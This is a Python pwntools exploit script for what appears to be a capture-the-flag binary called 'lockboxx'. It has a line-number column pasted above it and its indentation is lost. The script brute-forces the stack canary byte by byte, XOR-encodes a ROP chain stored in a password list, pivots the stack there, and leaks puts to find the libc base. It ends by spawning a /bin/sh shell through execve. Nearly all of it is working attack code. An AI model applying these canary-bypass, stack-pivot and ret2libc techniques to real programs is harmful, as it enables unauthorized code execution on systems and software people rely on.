1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
| #!/usr/bin/env python3
from pwn import *
exe = ELF("./lockboxx_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
context.terminal = [ 'tmux', 'splitw', '-h' ]
gs = '''
set follow-fork-mode child
b * update_master_password+290
c
'''
io = process(exe.path)
# io = remote("addr", 1337)
with process('./helper_patched') as helper:
key = helper.recv(1)
MASTER_PASSWORD = cyclic(29)
STORE_PASSWORD = b'1'
UPDATE_PASSWORD = b'4'
io.sendline(MASTER_PASSWORD)
canary = b''
while len(canary) != 8:
for i in range(256):
io.sendline(UPDATE_PASSWORD)
io.sendline(MASTER_PASSWORD)
io.send(flat({
'kaaa': canary + (i).to_bytes()
}))
io.recvuntil(b'Updated Master Password.\n')
status = io.recvline()
if status != b'*** stack smashing detected ***: terminated\n':
canary += (i).to_bytes()
break
canary = u64(canary)
log.info(f'{hex(canary) = }')
gdb.attach(io, gdbscript=gs)
def get_formatted_payload(chain, key):
chain = chain.ljust(104, b'\x00')
fields = [
(0, 31),
(32, 15),
(48, 23),
(72, 23)
]
xorred = bytearray(chain)
for offset, length in fields:
segment = chain[offset:offset + length]
xorred[offset:offset + length] = xor(segment, key)
yield xorred[0:32]
yield xorred[32:48]
yield xorred[48:72]
yield xorred[72:96]
for i in range(1, 4):
io.sendline(STORE_PASSWORD)
io.sendline(str(i).encode())
io.sendline(b'AAAABBBB')
io.sendline(b'AAAABBBB')
io.sendline(b'AAAABBBB')
io.sendline(b'AAAABBBB')
io.sendline(STORE_PASSWORD)
io.sendline(b'4')
rop = ROP(exe)
rop.puts(exe.got.puts)
rop.rsi = exe.sym.PassList + 408
rop.rbp = exe.sym.PassList + 408 + 8
rop.raw(exe.sym.share_password + 39)
for field in get_formatted_payload(rop.chain(), key):
io.sendline(field)
new_stack = exe.sym.PassList+8 + 104 * 3
io.sendline(UPDATE_PASSWORD)
io.sendline(MASTER_PASSWORD)
io.send(flat({
'kaaa': canary,
'qaaa': new_stack-8,
'saaa': 0x00000000004017c3, # leave ; ret
}))
io.recvuntil(b'Updated Master Password.\n')
puts_leak = u64(io.recv(6).ljust(8, b'\x00'))
libc.address = puts_leak - libc.sym.puts
log.success(f'{hex(libc.address) = }')
rop = ROP(libc)
rop.rdi = next(libc.search(b'/bin/sh\x00'))
rop.rsi = 0
rop.rbp = exe.sym.PassList+416 - 8
rop.raw(libc.address + 0x00000000000981ad) # pop rdx ; ret
rop.raw(0)
io.sendline(p64(canary) + p64(libc.sym.execve) + rop.chain())
io.interactive()
|